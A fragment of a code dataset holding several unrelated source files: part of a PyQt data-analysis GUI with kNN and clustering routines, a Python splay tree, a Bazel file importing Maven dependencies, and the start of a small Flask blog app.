'Mahalanobis'])\n toolbar.addWidget(measure)\n toolbar.addSeparator()\n\n button = QPushButton()\n button.setText('Calculate')\n button.clicked.connect(lambda: self.calculate(measure.currentText()))\n\n toolbar.addWidget(button)\n\n self.status = QLabel()\n toolbar.addWidget(self.status)\n\n layout2b = QVBoxLayout()\n\n self.figure = plt.figure()\n self.axes = self.figure.add_subplot('111')\n\n self.figureCanvas = FigureCanvas(self.figure)\n navigationToolbar = NavigationToolbar(self.figureCanvas, None)\n layout2b.addWidget(navigationToolbar)\n layout2b.addWidget(self.figureCanvas)\n\n layout1.addWidget(toolbar, 0)\n layout1.addLayout(layout2b, 1)\n\n self.setLayout(layout1)\n\n def calculate(self, metric):\n self.status.setText('')\n data = self.controller.dataFrame\n decision = data.ix[:, -1]\n distanceMatrix = pandas.DataFrame(index=data.index[:-1], columns=data.index[:-1])\n indexes = self.controller.dataFrame.index[:-1]\n distancer = lambda x, y: euclidean(x, y)\n count = len(indexes)\n output = pandas.Series(0, index=range(1, count))\n\n if metric == 'Manhattan':\n distancer = lambda x, y: cityblock(x, y)\n elif metric == 'Infinity':\n distancer = lambda x, y: chebyshev(x, y)\n elif metric == 'Mahalanobis':\n try:\n cov = np.linalg.inv(data.ix[:, :-1].cov().as_matrix())\n distancer = lambda x, y: mahalanobis(x, y, cov)\n except:\n self.status.setText('Singular matrix cannot be inversed!')\n return\n\n for x in indexes:\n for y in indexes:\n if x == y:\n distanceMatrix.ix[x, y] = np.inf\n elif not np.isnan(distanceMatrix.ix[y, x]):\n distanceMatrix.ix[x, y] = distanceMatrix.ix[y, x]\n else:\n distanceMatrix.ix[x, y] = distancer(data.ix[x, :-1], data.ix[y, :-1])\n for x in indexes:\n sorted = distanceMatrix.ix[:, x].order()\n for y in range(1, count):\n nmin = sorted.head(y).reset_index().ix[:, 0]\n mostpopular = nmin.apply(lambda z: decision[z]).value_counts().idxmax()\n if mostpopular == decision[x]:\n output[y] += 1\n output = output.apply(lambda x: (x / count) * 100)\n self.axes.clear()\n output.plot(ax=self.axes)\n self.figureCanvas.draw()\n\n\nclass OperationsView(QWidget):\n def __init__(self, controller):\n super(OperationsView, self).__init__()\n self.controller = controller\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n\n layoutD = QHBoxLayout()\n layoutD.setSpacing(10)\n\n label = QLabel()\n label.setText('Column: ')\n layoutD.addWidget(label, 0)\n combobox = QComboBox()\n combobox.addItems(self.controller.dataFrame.columns.values)\n layoutD.addWidget(combobox)\n\n layoutD.addWidget(VerticalSeparator())\n\n label2 = QLabel()\n label2.setText('Groups:')\n layoutD.addWidget(label2)\n\n spinbox = QSpinBox()\n spinbox.setMinimum(2)\n layoutD.addWidget(spinbox)\n\n layoutD.addWidget(VerticalSeparator())\n\n buttonDiscrete = QPushButton()\n buttonDiscrete.setText('Discretize')\n buttonDiscrete.clicked.connect(lambda: self.discretize(combobox.currentText(), spinbox.value()))\n layoutD.addWidget(buttonDiscrete)\n\n layoutD.addStretch()\n\n layoutN = QHBoxLayout()\n label1 = QLabel()\n label1.setText('Column: ')\n layoutN.addWidget(label1, 0)\n combobox1 = QComboBox()\n combobox1.addItems(self.controller.dataFrame.columns.values)\n layoutN.addWidget(combobox1)\n layoutN.addWidget(VerticalSeparator())\n\n buttonN = QPushButton()\n buttonN.setText('Normalize')\n buttonN.clicked.connect(lambda: self.normalize(combobox1.currentText()))\n layoutN.addWidget(buttonN)\n layoutN.addStretch()\n\n layout.addLayout(layoutD, 0)\n layout.addLayout(layoutN, 0)\n layout.addStretch()\n self.setLayout(layout)\n\n def discretize(self, column, groups):\n discretized = pandas.cut(self.controller.dataFrame[column], groups)\n print(discretized.labels)\n self.controller.dataFrame[column] = discretized.labels\n self.controller.tableView.updateColumn(column)\n\n def normalize(self, column):\n data = self.controller.dataFrame[column]\n mean = data.mean()\n std = data.std()\n self.controller.dataFrame[column] = data.apply(lambda x: (x - mean)/std)\n self.controller.tableView.updateColumn(column)\n\n\nclass VerticalSeparator(QFrame):\n def __init__(self):\n super(VerticalSeparator, self).__init__()\n self.setFrameShape(QFrame.VLine)\n self.setFrameShadow(QFrame.Sunken)\n\n\nclass KNNGroupingView(QWidget):\n def __init__(self, controller):\n super(KNNGroupingView, self).__init__()\n self.controller = controller\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n toolbar = QToolBar()\n\n label = QLabel()\n label.setText('Metric: ')\n toolbar.addWidget(label)\n measure = QComboBox()\n measure.addItems(['Euclidean', 'Manhattan', 'Infinity'])\n toolbar.addWidget(measure)\n toolbar.addSeparator()\n\n button = QPushButton()\n button.setText('Calculate')\n button.clicked.connect(lambda: self.calculate(measure.currentText()))\n\n toolbar.addWidget(button)\n\n textbox = QTextEdit()\n textbox.setReadOnly(True)\n\n layout.addWidget(toolbar)\n layout.addWidget(textbox)\n self.output = textbox\n self.setLayout(layout)\n\n def calculate(self, metric):\n self.output.setText('')\n data = self.controller.dataFrame\n distancer = lambda x, y: euclidean(x, y)\n if metric == 'Manhattan':\n distancer = lambda x, y: cityblock(x, y)\n elif metric == 'Infinity':\n distancer = lambda x, y: chebyshev(x, y)\n decisions = data.ix[:, -1]\n decision = decisions.nunique()\n realdata = data.ix[:, :-1]\n self.output.append('Groups found: ' + str(decision) + '\\n')\n centroids = realdata.ix[sample(list(realdata.index), decision)]\n group = pandas.Series(0, realdata.index)\n changes = True\n maxIterations = 10000\n while changes:\n changes = False\n maxIterations -= 1\n if maxIterations == 0:\n break\n for row in realdata.index:\n i = 0\n closestCent = 0\n for x in centroids.index:\n if i == 0:\n closest = distancer(realdata.ix[row].values, centroids.ix[x].values)\n closestCent = x\n i = 1\n continue\n lenn = distancer(realdata.ix[row].values, centroids.ix[x].values)\n if lenn < closest:\n closest = lenn\n closestCent = x\n if closestCent != group.ix[row]:\n group.ix[row] = closestCent\n changes = True\n for x in centroids.index:\n cos = realdata.ix[group.ix[group == x].index].mean()\n centroids.loc[x] = cos.values\n points = 0\n for x in centroids.index:\n points += decisions.ix[group.ix[group == x].index].value_counts().max()\n self.output.append('Correctly matched: ' + str(points) + '\\n')\n\n\nclass JakiesLinieView(QWidget):\n def __init__(self, controller):\n super(JakiesLinieView, self).__init__()\n self.controller = controller\n self.bbb = pandas.DataFrame()\n self.initUI()\n\n def initUI(self):\n layout = QVBoxLayout()\n toolabr = QToolBar()\n buton = QPushButton()\n buton.setText('DO IT!')\n buton2 = QPushButton()\n buton.clicked.connect(self.doIt)\n buton2.setText('save!')\n buton2.clicked.connect(self.save)\n toolabr.addWidget(buton)\n toolabr.addWidget(buton2)\n layout.addWidget(toolabr)\n table = QTableView()\n tableModel = PandasTableModel(self.bbb)\n table.setModel(tableModel)\n table.resizeColumnsToContents()\n table.setAlternatingRowColors(True)\n layout.addWidget(table)\n self.table = table\n self.setLayout(layout)\n self.tableModel = tableModel\n\n def updateColumn(self, column):\n self.tableModel.updateColumn(column)\n\n def doIt(self):\n kopia = self.controller.dataFrame.copy()\n kopia['eee'] = kopia.ix[:,-1].map(lambda x: False)\n kopia['skip'] = kopia.ix[:,-1].map(lambda x: False)\n id = 0\n splity = []\n while not kopia['eee'].all():\n data = kopia[kopia['eee'] == False]\n maxCol = None\n max = 0\n maxValue = 0\n posUp = None\n pos = None\n up = True\n for col in kopia.ix[:,:-3]:\n sorted = data.sort(col)\n pierwsza = None\n counter = 0\n localMax = 0\n for k,v in sorted.iterrows():\n if pierwsza == None:\n pierwsza = v.ix[-3]\n localMax = v[col]\n posUp = localMax\n continue\n counter += 1\n if pierwsza != v.ix[-3]:\n posUp = (localMax + v[col])/2.0\n localMax = v[col]\n break\n dattt = sorted[sorted[col] == v[col]]\n datt2 = dattt[dattt.ix[:,-3] != pierwsza]\n if not datt2.empty:\n posUp = (localMax + v[col])/2.0\n break\n localMax = v[col]\n if counter > max:\n max = counter\n maxCol = col\n pos = posUp\n maxValue = localMax\n for col in kopia.ix[:,:-3]:\n sorted = data.sort(col, ascending=False)\n pierwsza = None\n counter = 0\n localMax = 0\n for k,v in sorted.iterrows():\n if pierwsza == None:\n pierwsza = v.ix[-3]\n localMax = v[col]\n posUp = localMax\n continue\n counter += 1\n if pierwsza != v.ix[-3]:\n posUp = (localMax + v[col])/2.0\n break\n dattt = sorted[sorted[col] == v[col]]\n datt2 = dattt[dattt.ix[:,-3] != pierwsza]\n if not datt2.empty:\n posUp = (localMax + v[col])/2.0\n break\n localMax = v[col]\n if counter > max:\n max = counter\n maxCol = col\n up = False\n pos = posUp\n maxValue = localMax\n if maxCol == None:\n break\n best = None\n if pos == None:\n break\n if up:\n best = kopia[kopia[maxCol] <= maxValue]\n else:\n best = kopia[kopia[maxCol] >= maxValue]\n splity.append((maxCol, up, pos))\n kopia.ix[best.index,'eee'] = True\n skipaj = kopia[kopia[maxCol] == pos]\n skipaj2 = skipaj[skipaj.ix[:,-3] != pierwsza]\n kopia.ix[skipaj2.index, 'skip'] = True\n # algorytm\n splity = splity[:-1]\n self.controller.splits = splity\n nieskipniete = kopia[kopia['skip'] == False]\n wyjscie = pandas.DataFrame(index=nieskipniete.index)\n counter = 1\n for v in splity:\n kokoko = nieskipniete[v[0]]\n wyjscie[counter] = pandas.Series(index=kokoko.index)\n for ddd, eee in kokoko.iteritems():\n ooo = 1\n if (v[1] == True and kokoko[ddd] <= v[2]) or (v[1] == False and kokoko[ddd] >= v[2]):\n ooo = 0\n wyjscie.ix[ddd, counter] = ooo\n counter += 1\n print(splity)\n wyjscie['class'] = nieskipniete.ix[wyjscie.index, -3]\n self.bbb = wyjscie.astype(int)\n self.tableModel = PandasTableModel(self.bbb)\n self.table.setModel(self.tableModel)\n self.table.resizeColumnsToContents()\n\n def save(self):\n file = QFileDialog.getSaveFileName(self, 'eeeee', '*.arff')\n f = open(file[0], 'w')\n f.write(\"@relation aaaaaa\\n\")\n for x in self.bbb.columns.values[:-1]:\n f.write(\"@attribute \" + str(x) + \" numeric\\n\")\n f.write(\"@attribute \" + self.bbb.columns.values[-1] + \"{\")\n f.write(\",\".join(str(x) for x in np.unique(self.bbb.ix[:,-1])))\n f.write(\"}\\n@data\\n\")\n for k, v in self.bbb.iterrows():\n f.write(\"\\t\".join(str(x) for x in v))\n f.write(\"\\n\")\n f.close()\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n window = MainWindow()\n sys.exit(app.exec_())","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":22141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"330112676","text":"\"\"\" Splay Tree \"\"\"\n\nfrom BinarySearchTreeNode import BinarySearchTreeNode\nfrom BinarySearchTree import BinarySearchTree\n\nclass Splay(BinarySearchTree):\n\n def inorder(self):\n self._inorder(self.root)\n\n def _inorder(self, node):\n if node != None:\n self._inorder(node.left)\n print(\"Node element:\", str(node.element))\n left = \"None\" if node.left == None else str(node.left.element)\n right = \"None\" if node.right == None else str(node.right.element)\n print(\"\\tLeft node element:\", left)\n print(\"\\tRight node element:\", right)\n self._inorder(node.right)\n\n def _zig(self, node):\n super()._right_rotation(node)\n\n def _zag(self, node):\n super()._left_rotation(node)\n\n def _splay(self, node):\n while True:\n parent = node.parent \n if parent == None:\n break\n grandparent = parent.parent\n if grandparent == None:\n if parent.left is node:\n self._zig(parent)\n else:\n self._zag(parent)\n break\n if grandparent.left is parent:\n if parent.left is node:\n self._zig(grandparent)\n self._zig(parent)\n else:\n self._zag(parent)\n self._zig(grandparent)\n else:\n if parent.left is node:\n self._zig(parent)\n self._zag(grandparent)\n else:\n self._zag(grandparent)\n self._zag(parent)\n\n def insert(self, element):\n super().insert(element)\n new_node = self.last_node_added\n self._splay(new_node)\n\n def remove(self, element):\n to_remove = self.search(element)\n if to_remove == None:\n return False\n self._splay(to_remove)\n p = to_remove.left\n if p == None:\n super()._remove_without_left(to_remove)\n while p.right != None:\n p = p.right\n if to_remove.right != None:\n p.right = to_remove.right\n to_remove.right.parent = p\n self.root = to_remove.left\n self.root.parent = None\n \n def search(self, element):\n found_node = super().search(element)\n if found_node == None:\n return None\n else:\n self._splay(found_node)\n return found_node\n","sub_path":"Python/Data Structures/Trees/Splay.py","file_name":"Splay.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94879609","text":"\"\"\"External dependencies for Dossier.\"\"\"\n\nload(\"@bazel_tools//tools/build_defs/repo:http.bzl\", \"http_archive\")\nload(\"@bazel_tools//tools/build_defs/repo:jvm.bzl\", \"jvm_maven_import_external\")\n\ndef dossier_repositories(\n omit_aopalliance_aopalliance = False,\n omit_args4j_args4j = False,\n omit_com_google_auto_auto_common = False,\n omit_com_google_auto_factory_auto_factory = False,\n omit_com_google_auto_service_auto_service = False,\n omit_com_google_auto_value_auto_value = False,\n omit_com_google_auto_value_auto_value_annotations = False,\n omit_com_google_googlejavaformat_google_java_format = False,\n omit_com_squareup_javapoet = False,\n omit_com_google_javascript_closure_compiler_unshaded = False,\n omit_com_google_javascript_closure_compiler_externs = False,\n omit_com_google_template_soy = False,\n omit_com_atlassian_commonmark_commonmark = False,\n omit_com_google_code_gson_gson = False,\n omit_com_google_errorprone_error_prone_annotations = False,\n omit_com_google_errorprone_javac_shaded = False,\n omit_com_google_guava_guava = False,\n omit_com_google_guava_failureaccess_jar = False,\n omit_com_google_inject_guice = False,\n omit_com_google_inject_extensions_guice_assistedinject = False,\n omit_com_google_inject_extensions_guice_multibindings = False,\n omit_com_ibm_icu_icu4j = False,\n omit_org_hamcrest_hamcrest_core = False,\n omit_javax_inject_javax_inject = False,\n omit_com_google_jimfs_jimfs = False,\n omit_org_jsoup_jsoup = False,\n omit_com_google_code_findbugs_jsr305 = False,\n omit_junit_junit = False,\n omit_org_mockito_mockito_all = False,\n omit_com_googlecode_owasp_java_html_sanitizer_owasp_java_html_sanitizer = False,\n omit_com_google_common_html_types_types = False,\n omit_com_google_truth_truth = False,\n omit_com_google_truth_extensions_truth_proto_extension = False,\n omit_com_google_truth_extensions_truth_liteproto_extension = False,\n omit_com_googlecode_java_diff_utils_diffutils = False):\n \"\"\"Imports dependencies for Doessier rules\"\"\"\n if not omit_aopalliance_aopalliance:\n aopalliance_aopalliance()\n if not omit_args4j_args4j:\n args4j_args4j()\n if not omit_com_google_auto_auto_common:\n com_google_auto_auto_common()\n if not omit_com_google_auto_factory_auto_factory:\n com_google_auto_factory_auto_factory()\n if not omit_com_google_auto_service_auto_service:\n com_google_auto_service_auto_service()\n if not omit_com_google_auto_value_auto_value:\n com_google_auto_value_auto_value()\n if not omit_com_google_auto_value_auto_value_annotations:\n com_google_auto_value_auto_value_annotations()\n if not omit_com_google_googlejavaformat_google_java_format:\n com_google_googlejavaformat_google_java_format()\n if not omit_com_squareup_javapoet:\n com_squareup_javapoet()\n if not omit_com_google_javascript_closure_compiler_unshaded:\n com_google_javascript_closure_compiler_unshaded()\n if not omit_com_google_javascript_closure_compiler_externs:\n com_google_javascript_closure_compiler_externs()\n if not omit_com_google_template_soy:\n com_google_template_soy()\n if not omit_com_atlassian_commonmark_commonmark:\n com_atlassian_commonmark_commonmark()\n if not omit_com_google_code_gson_gson:\n com_google_code_gson_gson()\n if not omit_com_google_errorprone_error_prone_annotations:\n com_google_errorprone_error_prone_annotations()\n if not omit_com_google_errorprone_javac_shaded:\n com_google_errorprone_javac_shaded()\n if not omit_com_google_guava_guava:\n com_google_guava_guava()\n if not omit_com_google_guava_failureaccess_jar:\n com_google_guava_failureaccess_jar()\n if not omit_com_google_inject_guice:\n com_google_inject_guice()\n if not omit_com_google_inject_extensions_guice_assistedinject:\n com_google_inject_extensions_guice_assistedinject()\n if not omit_com_google_inject_extensions_guice_multibindings:\n com_google_inject_extensions_guice_multibindings()\n if not omit_com_ibm_icu_icu4j:\n com_ibm_icu_icu4j()\n if not omit_org_hamcrest_hamcrest_core:\n org_hamcrest_hamcrest_core()\n if not omit_javax_inject_javax_inject:\n javax_inject_javax_inject()\n if not omit_com_google_jimfs_jimfs:\n com_google_jimfs_jimfs()\n if not omit_org_jsoup_jsoup:\n org_jsoup_jsoup()\n if not omit_com_google_code_findbugs_jsr305:\n com_google_code_findbugs_jsr305()\n if not omit_junit_junit:\n junit_junit()\n if not omit_org_mockito_mockito_all:\n org_mockito_mockito_all()\n if not omit_com_googlecode_owasp_java_html_sanitizer_owasp_java_html_sanitizer:\n com_googlecode_owasp_java_html_sanitizer_owasp_java_html_sanitizer()\n if not omit_com_google_common_html_types_types:\n com_google_common_html_types_types()\n if not omit_com_google_truth_truth:\n com_google_truth_truth()\n if not omit_com_google_truth_extensions_truth_proto_extension:\n com_google_truth_extensions_truth_proto_extension()\n if not omit_com_google_truth_extensions_truth_liteproto_extension:\n com_google_truth_extensions_truth_liteproto_extension()\n if not omit_com_googlecode_java_diff_utils_diffutils:\n com_googlecode_java_diff_utils_diffutils()\n\ndef aopalliance_aopalliance():\n jvm_maven_import_external(\n name = \"aopalliance_aopalliance\",\n artifact = \"aopalliance:aopalliance:1.0\",\n artifact_sha256 = \"0addec670fedcd3f113c5c8091d783280d23f75e3acb841b61a9cdb079376a08\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef args4j_args4j():\n jvm_maven_import_external(\n name = \"args4j_args4j\",\n artifact = \"args4j:args4j:2.0.26\",\n artifact_sha256 = \"989bda2321ea073a03686e9d4437ea4928c72c99f993f9ca6fab24615f0771a4\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_auto_auto_common():\n jvm_maven_import_external(\n name = \"com_google_auto_auto_common\",\n artifact = \"com.google.auto:auto-common:0.10\",\n artifact_sha256 = \"b876b5fddaceeba7d359667f6c4fb8c6f8658da1ab902ffb79ec9a415deede5f\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_auto_factory_auto_factory():\n jvm_maven_import_external(\n name = \"com_google_auto_factory_auto_factory\",\n artifact = \"com.google.auto.factory:auto-factory:1.0-beta6\",\n artifact_sha256 = \"bd26a49f93e5de5fcc8507e1a6554814adc9d5cb682f9df9057f8aadf60d2c91\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_auto_service_auto_service():\n jvm_maven_import_external(\n name = \"com_google_auto_service_auto_service\",\n artifact = \"com.google.auto.service:auto-service:1.0-rc4\",\n artifact_sha256 = \"e422d49c312fd2031222e7306e8108c1b4118eb9c049f1b51eca280bed87e924\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_auto_value_auto_value():\n jvm_maven_import_external(\n name = \"com_google_auto_value_auto_value\",\n artifact = \"com.google.auto.value:auto-value:1.6.3\",\n artifact_sha256 = \"0aa5463f85a210aacecbebaa45e61b79ec17e903218d79f8db9e1efde06b3c7f\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_auto_value_auto_value_annotations():\n jvm_maven_import_external(\n name = \"com_google_auto_value_auto_value_annotations\",\n artifact = \"com.google.auto.value:auto-value-annotations:1.6.3\",\n artifact_sha256 = \"0e951fee8c31f60270bc46553a8586001b7b93dbb12aec06373aa99a150392c0\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_googlejavaformat_google_java_format():\n jvm_maven_import_external(\n name = \"com_google_googlejavaformat_google_java_format\",\n artifact = \"com.google.googlejavaformat:google-java-format:1.7\",\n artifact_sha256 = \"0e13edfb91fc373075790beb1dc1f36e0b7ddd11865696f928ef63e328781cc2\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_squareup_javapoet():\n jvm_maven_import_external(\n name = \"com_squareup_javapoet\",\n artifact = \"com.squareup:javapoet:1.11.1\",\n artifact_sha256 = \"9cbf2107be499ec6e95afd36b58e3ca122a24166cdd375732e51267d64058e90\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_javascript_closure_compiler_unshaded():\n jvm_maven_import_external(\n name = \"com_google_javascript_closure_compiler_unshaded\",\n artifact = \"com.google.javascript:closure-compiler-unshaded:v20190819\",\n artifact_sha256 = \"d8e74a9b26ada0bd190c7946fcdbcc2e342c5144d7fe37a9278688ff3a36241d\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_javascript_closure_compiler_externs():\n jvm_maven_import_external(\n name = \"com_google_javascript_closure_compiler_externs\",\n artifact = \"com.google.javascript:closure-compiler-externs:v20190819\",\n artifact_sha256 = \"84a40e90d3252ea3b19f1c5d2c8a17b33f92566479c62a38848ae4f9d332914f\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_template_soy():\n jvm_maven_import_external(\n name = \"com_google_template_soy\",\n artifact = \"com.google.template:soy:2019-08-22\",\n artifact_sha256 = \"417107a07db1324769ac9fc381846ef3b7723309f55a1229502c4323235f453a\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_atlassian_commonmark_commonmark():\n jvm_maven_import_external(\n name = \"com_atlassian_commonmark_commonmark\",\n artifact = \"com.atlassian.commonmark:commonmark:0.12.1\",\n artifact_sha256 = \"3ebc3a3ee06f6b5b17f449e28a0c2ae6f60aa25dcf6b10b69d9dce42ed00b024\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_code_gson_gson():\n jvm_maven_import_external(\n name = \"com_google_code_gson_gson\",\n artifact = \"com.google.code.gson:gson:2.8.5\",\n artifact_sha256 = \"233a0149fc365c9f6edbd683cfe266b19bdc773be98eabdaf6b3c924b48e7d81\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_errorprone_error_prone_annotations():\n jvm_maven_import_external(\n name = \"com_google_errorprone_error_prone_annotations\",\n artifact = \"com.google.errorprone:error_prone_annotations:2.3.3\",\n artifact_sha256 = \"ec59f1b702d9afc09e8c3929f5c42777dec623a6ea2731ac694332c7d7680f5a\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_errorprone_javac_shaded():\n jvm_maven_import_external(\n name = \"com_google_errorprone_javac_shaded\",\n artifact = \"com.google.errorprone:javac-shaded:9-dev-r4023-3\",\n artifact_sha256 = \"65bfccf60986c47fbc17c9ebab0be626afc41741e0a6ec7109e0768817a36f30\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_guava_guava():\n jvm_maven_import_external(\n name = \"com_google_guava_guava\",\n artifact = \"com.google.guava:guava:27.0.1-jre\",\n artifact_sha256 = \"e1c814fd04492a27c38e0317eabeaa1b3e950ec8010239e400fe90ad6c9107b4\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_guava_failureaccess_jar():\n jvm_maven_import_external(\n name = \"com_google_guava_failureaccess_jar\",\n artifact = \"com.google.guava:failureaccess:jar:1.0.1\",\n artifact_sha256 = \"a171ee4c734dd2da837e4b16be9df4661afab72a41adaf31eb84dfdaf936ca26\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_inject_guice():\n jvm_maven_import_external(\n name = \"com_google_inject_guice\",\n artifact = \"com.google.inject:guice:4.1.0\",\n artifact_sha256 = \"9b9df27a5b8c7864112b4137fd92b36c3f1395bfe57be42fedf2f520ead1a93e\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_inject_extensions_guice_assistedinject():\n jvm_maven_import_external(\n name = \"com_google_inject_extensions_guice_assistedinject\",\n artifact = \"com.google.inject.extensions:guice-assistedinject:4.1.0\",\n artifact_sha256 = \"663728123fb9a6b79ea39ae289e5d56b4113e1b8e9413eb792f91e53a6dd5868\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_inject_extensions_guice_multibindings():\n jvm_maven_import_external(\n name = \"com_google_inject_extensions_guice_multibindings\",\n artifact = \"com.google.inject.extensions:guice-multibindings:4.1.0\",\n artifact_sha256 = \"592773a4c745cc87ba37fa0647fed8126c7e474349c603c9f229aa25d3ef5448\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_ibm_icu_icu4j():\n jvm_maven_import_external(\n name = \"com_ibm_icu_icu4j\",\n artifact = \"com.ibm.icu:icu4j:51.1\",\n artifact_sha256 = \"0df1166825c48007b163569e28a8e4121c95bc33c5dcfa83e167be5d20482212\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef org_hamcrest_hamcrest_core():\n jvm_maven_import_external(\n name = \"org_hamcrest_hamcrest_core\",\n artifact = \"org.hamcrest:hamcrest-core:1.3\",\n artifact_sha256 = \"66fdef91e9739348df7a096aa384a5685f4e875584cce89386a7a47251c4d8e9\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef javax_inject_javax_inject():\n jvm_maven_import_external(\n name = \"javax_inject_javax_inject\",\n artifact = \"javax.inject:javax.inject:1\",\n artifact_sha256 = \"91c77044a50c481636c32d916fd89c9118a72195390452c81065080f957de7ff\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_jimfs_jimfs():\n jvm_maven_import_external(\n name = \"com_google_jimfs_jimfs\",\n artifact = \"com.google.jimfs:jimfs:1.0\",\n artifact_sha256 = \"b1d8bd55390b8859933e099ef3298b589081aa185c71645f4c7666982f10b714\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef org_jsoup_jsoup():\n jvm_maven_import_external(\n name = \"org_jsoup_jsoup\",\n artifact = \"org.jsoup:jsoup:1.8.3\",\n artifact_sha256 = \"abeaf34795a4de70f72aed6de5966d2955ec7eb348eeb813324f23c999575473\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_code_findbugs_jsr305():\n jvm_maven_import_external(\n name = \"com_google_code_findbugs_jsr305\",\n artifact = \"com.google.code.findbugs:jsr305:1.3.9\",\n artifact_sha256 = \"905721a0eea90a81534abb7ee6ef4ea2e5e645fa1def0a5cd88402df1b46c9ed\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef junit_junit():\n jvm_maven_import_external(\n name = \"junit_junit\",\n artifact = \"junit:junit:4.12\",\n artifact_sha256 = \"59721f0805e223d84b90677887d9ff567dc534d7c502ca903c0c2b17f05c116a\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef org_mockito_mockito_all():\n jvm_maven_import_external(\n name = \"org_mockito_mockito_all\",\n artifact = \"org.mockito:mockito-all:1.10.19\",\n artifact_sha256 = \"d1a7a7ef14b3db5c0fc3e0a63a81b374b510afe85add9f7984b97911f4c70605\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_googlecode_owasp_java_html_sanitizer_owasp_java_html_sanitizer():\n jvm_maven_import_external(\n name = \"com_googlecode_owasp_java_html_sanitizer_owasp_java_html_sanitizer\",\n artifact = \"com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer:r239\",\n artifact_sha256 = \"a3270c26f4b77925665773234e5d70642269a1127a39623f7535ed597dc10f69\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_common_html_types_types():\n jvm_maven_import_external(\n name = \"com_google_common_html_types_types\",\n artifact = \"com.google.common.html.types:types:1.0.8\",\n artifact_sha256 = \"7d81d47117284457c8760f9372a47d6cdf45398d9e9a3dfbfd108fc57937aebe\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_truth_truth():\n jvm_maven_import_external(\n name = \"com_google_truth_truth\",\n artifact = \"com.google.truth:truth:0.42\",\n artifact_sha256 = \"dd652bdf0c4427c59848ac0340fd6b6d20c2cbfaa3c569a8366604dbcda5214c\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_truth_extensions_truth_proto_extension():\n jvm_maven_import_external(\n name = \"com_google_truth_extensions_truth_proto_extension\",\n artifact = \"com.google.truth.extensions:truth-proto-extension:0.42\",\n artifact_sha256 = \"017fc2fa836a4d90fb7cbf10a42d7065f0ca58901dbe52c91b8a371556e99776\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_google_truth_extensions_truth_liteproto_extension():\n jvm_maven_import_external(\n name = \"com_google_truth_extensions_truth_liteproto_extension\",\n artifact = \"com.google.truth.extensions:truth-liteproto-extension:0.42\",\n artifact_sha256 = \"5f9e2ac1004cd782159b0407f633bebbedc580968bcbb9d0e0b165bbe81f4b80\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n\ndef com_googlecode_java_diff_utils_diffutils():\n jvm_maven_import_external(\n name = \"com_googlecode_java_diff_utils_diffutils\",\n artifact = \"com.googlecode.java-diff-utils:diffutils:1.3.0\",\n artifact_sha256 = \"61ba4dc49adca95243beaa0569adc2a23aedb5292ae78aa01186fa782ebdc5c2\",\n server_urls = [\"http://central.maven.org/maven2\"],\n )\n","sub_path":"build_tools/repositories.bzl","file_name":"repositories.bzl","file_ext":"bzl","file_size_in_byte":17611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"22614698","text":"# -*- coding: utf-8 -*-\n\nfrom flask import Flask, render_template, url_for, flash, redirect\nfrom forms import RegistrationForm, LoginForm\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '0245fb8c8a43666432822e966db687c3'\n\n\nposts = [\n {\n 'author': 'Tunc Ovacık',\n 'title': 'Blog Post-1',\n 'content': 'The content of the post first',\n 'date_posted': '2019-03-24'\n \n },\n {\n 'author': 'Faruk Ilgaz',\n 'title': 'Blog Post-2',\n 'content': 'faruk ılgazin ilk post içeriği',\n 'date_posted': 'March 20, 2019'\n }\n \n ]\n\n@app.route(\"/\")\n@app.route(\"/home\")\ndef home():\n return render_template('home.html', posts=posts)\n\n@app.route(\"/about\")\ndef about():\n return 